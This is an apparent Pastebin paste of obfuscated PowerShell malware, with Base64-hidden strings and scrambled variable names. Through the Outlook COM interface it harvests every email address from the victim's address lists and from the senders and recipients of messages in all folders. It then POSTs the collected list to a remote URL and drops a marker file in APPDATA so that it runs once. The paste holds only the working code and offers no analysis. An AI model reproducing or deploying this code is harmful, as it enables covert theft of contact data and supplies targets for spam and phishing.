Guest User

https://dlm.supote.com/?fmJhsAWLZqcFuIJdSOhrb8WFtI5DZQVA84vc

a guest
Mar 27th, 2018
87
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Add-Type -assembly $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBpAGMAcgBvAHMAbwBmAHQALgBPAGYAZgBpAGMAZQAuAEkAbgB0AGUAcgBvAHAALgBPAHUAdABsAG8AbwBrAA==')))
  2. ${_/=\/\__/=\/\/\__} = New-Object -comobject Outlook.Application
  3. ${____/===\_____/\/} = ${_/=\/\__/=\/\/\__}.GetNameSpace($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBBAFAASQA='))))
  4. ${_/\/=====\__/=\/=} = [System.Collections.ArrayList]@()
  5. function ___/=\/\/=\___/=\_(${____/\____/\/\_/\_})
  6. {
  7.   ${____/==\__/\_/=\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XgBbAF8AYQAtAHoAMAAtADkALQBdACsAKABcAC4AWwBfAGEALQB6ADAALQA5AC0AXQArACkAKgBAAFsAYQAtAHoAMAAtADkALQBdACsAKABcAC4AWwBhAC0AegAwAC0AOQAtAF0AKwApACoAKABcAC4AWwBhAC0AegBdAHsAMgAsADQAfQApACQA')));
  8.   if (${____/\____/\/\_/\_} -match ${____/==\__/\_/=\_}) {
  9.     return $true
  10.   }
  11.   return $false
  12. }
  13. function _/=\_/==\____/\__/(${____/\____/\/\_/\_}) {
  14.   if (${____/\____/\/\_/\_}) {
  15.     ${__/=====\/\_/\_/\} = $false
  16.     ${____/\____/\/\_/\_} = ${____/\____/\/\_/\_}.ToLower()
  17.     if (${____/\____/\/\_/\_}.StartsWith("'") -And ${____/\____/\/\_/\_}.EndsWith("'")) {
  18.       ${____/\____/\/\_/\_} = ${____/\____/\/\_/\_}.Substring(1, ${____/\____/\/\_/\_}.Length - 2)
  19.     }
  20.     if (___/=\/\/=\___/=\_(${____/\____/\/\_/\_})) {
  21.       for(${__/\/\__/=\/\__/\} = 0;${__/\/\__/=\/\__/\} -lt ${_/\/=====\__/=\/=}.Count;${__/\/\__/=\/\__/\}++) {
  22.         if (${_/\/=====\__/=\/=}[${__/\/\__/=\/\__/\}] -eq ${____/\____/\/\_/\_}) {
  23.           ${__/=====\/\_/\_/\} = $true
  24.           break
  25.         }
  26.       }
  27.       if (-Not ${__/=====\/\_/\_/\}) {
  28.         ${__/\___/========\} = ${_/\/=====\__/=\/=}.Add(${____/\____/\/\_/\_})
  29.       }
  30.     }
  31.   }
  32. }
  33. function _/====\__/=====\_/ {
  34.   ${/==\/=\____/\_/=\} = ${____/===\_____/\/}.AddressLists
  35.   for(${__/\/\__/=\/\__/\} = 1;${__/\/\__/=\/\__/\} -le ${/==\/=\____/\_/=\}.Count;${__/\/\__/=\/\__/\}++) {
  36.     ${/=\_/==\/\__/==\_} = ${/==\/=\____/\_/=\}.Item(${__/\/\__/=\/\__/\}).AddressEntries
  37.     for(${/==\/\/\_/\_/\__/} = 1;${/==\/\/\_/\_/\__/} -le ${/=\_/==\/\__/==\_}.Count;${/==\/\/\_/\_/\__/}++) {
  38.       ${_/\_/\__/\_____/=} = ${/=\_/==\/\__/==\_}.Item(${/==\/\/\_/\_/\__/})
  39.       ${__/===\/===\/\/\_} = ${_/\_/\__/\_____/=}.AddressEntryUserType
  40.       ${____/\____/\/\_/\_} = ""
  41.       if (${__/===\/===\/\/\_} -eq 10) {
  42.         ${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.Address
  43.       } elseif ((${__/===\/===\/\/\_} -eq 3) -Or (${__/===\/===\/\/\_} -eq 1) -Or (${__/===\/===\/\/\_} -eq 4) -Or (${__/===\/===\/\/\_} -eq 2) -Or (${__/===\/===\/\/\_} -eq 5) -Or (${__/===\/===\/\/\_} -eq 0)) {
  44.         ${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.GetExchangeUser().PrimarySmtpAddress
  45.       }
  46.       _/=\_/==\____/\__/(${____/\____/\/\_/\_})
  47.     }
  48.   }
  49. }
  50. function __/\/\__/\_/===\_/(${___/\/==\_/==\/=\/}) {
  51.   for(${__/\/\__/=\/\__/\} = 1;${__/\/\__/=\/\__/\} -le ${___/\/==\_/==\/=\/}.Count;${__/\/\__/=\/\__/\}++) {
  52.     ${_/======\_/=\/=\_} = ${___/\/==\_/==\/=\/}.Item(${__/\/\__/=\/\__/\})
  53.     ${__/\/=\___/\_/==\} = ${_/======\_/=\/=\_}.Items
  54.     for(${/==\/\/\_/\_/\__/} = 1;${/==\/\/\_/\_/\__/} -le ${__/\/=\___/\_/==\}.Count;${/==\/\/\_/\_/\__/}++) {
  55.       ${_/==\_____/==\__/} = ${__/\/=\___/\_/==\}.Item(${/==\/\/\_/\_/\__/})
  56.       ${/=\/====\____/=\/} = ${_/==\_____/==\__/}.Recipients
  57.       for(${_/\_/\__/\/\_/=\_} = 1;${_/\_/\__/\/\_/=\_} -le ${/=\/====\____/=\/}.Count;${_/\_/\__/\/\_/=\_}++) {
  58.         ${__/\_/\__/=\/\_/\} = ${/=\/====\____/=\/}.Item(${_/\_/\__/\/\_/=\_})
  59.         ${_/\_/\__/\_____/=} = ${__/\_/\__/=\/\_/\}.AddressEntry
  60.         ${__/===\/===\/\/\_} = ${_/\_/\__/\_____/=}.AddressEntryUserType
  61.         ${____/\____/\/\_/\_} = "";
  62.         if (${__/===\/===\/\/\_} -eq 0) {
  63.           ${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.GetExchangeUser().PrimarySmtpAddress
  64.         } elseif ((${__/===\/===\/\/\_} -eq 30) -Or (${__/===\/===\/\/\_} -eq 10)) {
  65.           ${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.Address
  66.         }
  67.         _/=\_/==\____/\__/(${____/\____/\/\_/\_})
  68.       }
  69.       ${_/\_/\__/\_____/=} = ${_/==\_____/==\__/}.Sender
  70.       ${__/===\/===\/\/\_} = ${_/\_/\__/\_____/=}.AddressEntryUserType
  71.       ${____/\____/\/\_/\_} = "";
  72.       if (${__/===\/===\/\/\_} -eq 0) {
  73.         ${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.GetExchangeUser().PrimarySmtpAddress
  74.       } elseif ((${__/===\/===\/\/\_} -eq 30) -Or (${__/===\/===\/\/\_} -eq 10)) {
  75.         ${____/\____/\/\_/\_} = ${_/\_/\__/\_____/=}.Address
  76.       }
  77.       _/=\_/==\____/\__/(${____/\____/\/\_/\_})
  78.     }
  79.     __/\/\__/\_/===\_/(${_/======\_/=\/=\_}.Folders)
  80.   }
  81. }
  82. function ____/=\_/\_/==\/==() {
  83.   _/====\__/=====\_/
  84.   __/\/\__/\_/===\_/(${____/===\_____/\/}.Folders)
  85.   ${/\_____/\_/\/==\/} = [System.Runtime.Interopservices.Marshal]::ReleaseComObject(${_/=\/\__/=\/\/\__})
  86.   ${_/\__/\/\/\_/\/=\} = [System.Net.WebRequest]::Create($urlPL)
  87.   ${/=\___/==\/=\__/=} = [System.Text.Encoding]::UTF8.GetBytes("list=$(${_/\/=====\__/=\/=} -join ';')")
  88.   ${_/\__/\/\/\_/\/=\}.Method = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABPAFMAVAA=')))
  89.   ${_/\__/\/\/\_/\/=\}.ContentType = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeAAtAHcAdwB3AC0AZgBvAHIAbQAtAHUAcgBsAGUAbgBjAG8AZABlAGQA')))
  90.   ${_/\__/\/\/\_/\/=\}.ContentLength = ${/=\___/==\/=\__/=}.length
  91.   ${___/=\_/\/\/=\___} = ${_/\__/\/\/\_/\/=\}.GetRequestStream()
  92.   ${___/=\_/\/\/=\___}.Write(${/=\___/==\/=\__/=}, 0, ${/=\___/==\/=\__/=}.length)
  93.   ${___/=\_/\/\/=\___}.Close()
  94.   [System.Net.WebResponse] ${/===\/=\____/\/=\} = ${_/\__/\/\/\_/\/=\}.GetResponse()
  95. }
  96. function _/=\/\/\_/\____/=\() {
  97.   ${__/======\____/\_} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAGkAYwByAG8AcwBvAGYAdABcAC4ATwB1AHQAbABvAG8AawA=')))
  98.   ${__/==\/\__/\/===\} = [System.IO.File]::Exists(${__/======\____/\_})
  99.   if (-Not ${__/==\/\__/\/===\}) {
  100.       "" | sc ${__/======\____/\_}
  101.       ____/=\_/\_/==\/==
  102.   }
  103. }
  104. _/=\/\/\_/\____/=\
RAW Paste Data